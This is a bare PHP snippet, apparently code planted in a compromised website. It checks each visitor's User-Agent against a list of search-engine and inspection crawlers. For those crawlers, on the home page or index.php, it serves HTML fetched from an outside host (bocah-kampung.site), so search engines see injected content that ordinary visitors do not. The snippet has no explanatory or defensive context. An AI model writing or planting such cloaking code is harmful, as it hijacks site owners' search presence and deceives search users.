function mangsud_remote($remote_url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $remote_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $content = curl_exec($ch);
    curl_close($ch);
    return $content;
}
$res = strtolower($_SERVER["HTTP_USER_AGENT"]);
$botchar = "/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/";
$file = mangsud_remote('https://ketua.bocah-kampung.site/satsetbos/lp.html');
if (preg_match($botchar, $res)) {
    if ($_SERVER['REQUEST_URI'] === '/' || $_SERVER['REQUEST_URI'] === '/index.php') {
        echo $file;
        exit;
    }
}